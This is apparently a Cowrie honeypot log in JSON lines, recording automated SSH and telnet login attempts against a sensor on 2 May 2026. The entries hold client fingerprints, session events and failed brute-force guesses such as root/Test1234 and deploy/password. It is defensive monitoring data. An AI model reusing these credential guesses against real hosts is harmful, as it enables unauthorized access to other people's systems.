{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:32.895487Z","src_ip":"176.65.132.254","session":"77cb4b4efb8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:32.977507Z","src_ip":"176.65.132.254","session":"77cb4b4efb8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:33.244666Z","src_ip":"176.65.132.254","session":"77cb4b4efb8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.65231394767761,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:33.448137Z","src_ip":"134.209.8.29","session":"c9f7d635f402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:34.346441Z","src_ip":"176.65.132.254","session":"77cb4b4efb8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55916,"dst_ip":"10.17.0.5","dst_port":22,"session":"89f5fcc7cdd3","protocol":"ssh","message":"New connection: 176.65.132.254:55916 (10.17.0.5:22) [session: 89f5fcc7cdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:36.785168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:36.789596Z","src_ip":"176.65.132.254","session":"89f5fcc7cdd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:36.959826Z","src_ip":"176.65.132.254","session":"89f5fcc7cdd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:37.695720Z","src_ip":"176.65.132.254","session":"89f5fcc7cdd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:38.781600Z","src_ip":"176.65.132.254","session":"89f5fcc7cdd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00257635116577,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:39.859309Z","src_ip":"201.175.50.164","session":"5508a11cb3f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55934,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d421814eac1","protocol":"ssh","message":"New connection: 176.65.132.254:55934 (10.17.0.5:22) [session: 0d421814eac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:40.783875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:40.794530Z","src_ip":"176.65.132.254","session":"0d421814eac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:40.877312Z","src_ip":"176.65.132.254","session":"0d421814eac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:41.137278Z","src_ip":"176.65.132.254","session":"0d421814eac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35036,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5a2894ce3da","protocol":"telnet","message":"New connection: 134.209.8.29:35036 (159.203.135.109:23) [session: e5a2894ce3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:41.171696Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:42.238182Z","src_ip":"176.65.132.254","session":"0d421814eac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.30003094673157,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:42.710163Z","src_ip":"38.54.119.93","session":"a17802e5a681","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40068,"dst_ip":"10.17.0.5","dst_port":23,"session":"40c9f2809154","protocol":"telnet","message":"New connection: 38.54.119.93:40068 (10.17.0.5:23) [session: 40c9f2809154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:42.952686Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50110,"dst_ip":"10.17.0.5","dst_port":22,"session":"3000b93ebe80","protocol":"ssh","message":"New connection: 176.65.132.254:50110 (10.17.0.5:22) [session: 3000b93ebe80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:44.779613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:44.785159Z","src_ip":"176.65.132.254","session":"3000b93ebe80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:44.871666Z","src_ip":"176.65.132.254","session":"3000b93ebe80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:45.122369Z","src_ip":"176.65.132.254","session":"3000b93ebe80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:46.213362Z","src_ip":"176.65.132.254","session":"3000b93ebe80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50116,"dst_ip":"10.17.0.5","dst_port":22,"session":"acf102765a68","protocol":"ssh","message":"New connection: 176.65.132.254:50116 (10.17.0.5:22) [session: acf102765a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:48.588899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:48.593710Z","src_ip":"176.65.132.254","session":"acf102765a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:48.676305Z","src_ip":"176.65.132.254","session":"acf102765a68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:48.948610Z","src_ip":"176.65.132.254","session":"acf102765a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:50.042998Z","src_ip":"176.65.132.254","session":"acf102765a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59586,"dst_ip":"10.17.0.5","dst_port":22,"session":"191f34ab308f","protocol":"ssh","message":"New connection: 176.65.132.254:59586 (10.17.0.5:22) [session: 191f34ab308f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:52.563350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:52.568271Z","src_ip":"176.65.132.254","session":"191f34ab308f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:52.655335Z","src_ip":"176.65.132.254","session":"191f34ab308f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:52.938989Z","src_ip":"176.65.132.254","session":"191f34ab308f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53920,"dst_ip":"159.203.135.109","dst_port":23,"session":"3282d98ff044","protocol":"telnet","message":"New connection: 134.209.8.29:53920 (159.203.135.109:23) [session: 3282d98ff044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:53.483138Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:54.168947Z","src_ip":"176.65.132.254","session":"191f34ab308f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59588,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b429e34a724","protocol":"ssh","message":"New connection: 176.65.132.254:59588 (10.17.0.5:22) [session: 6b429e34a724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:56.488303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:56.579276Z","src_ip":"176.65.132.254","session":"6b429e34a724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:56.583271Z","src_ip":"176.65.132.254","session":"6b429e34a724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:56.957405Z","src_ip":"176.65.132.254","session":"6b429e34a724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:58.047881Z","src_ip":"176.65.132.254","session":"6b429e34a724","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59590,"dst_ip":"10.17.0.5","dst_port":22,"session":"e16533232b5f","protocol":"ssh","message":"New connection: 176.65.132.254:59590 (10.17.0.5:22) [session: e16533232b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:00.456551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:00.465993Z","src_ip":"176.65.132.254","session":"e16533232b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:00.550362Z","src_ip":"176.65.132.254","session":"e16533232b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:00.840693Z","src_ip":"176.65.132.254","session":"e16533232b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:43:01.941078Z","src_ip":"176.65.132.254","session":"e16533232b5f","protocol":"ssh"}
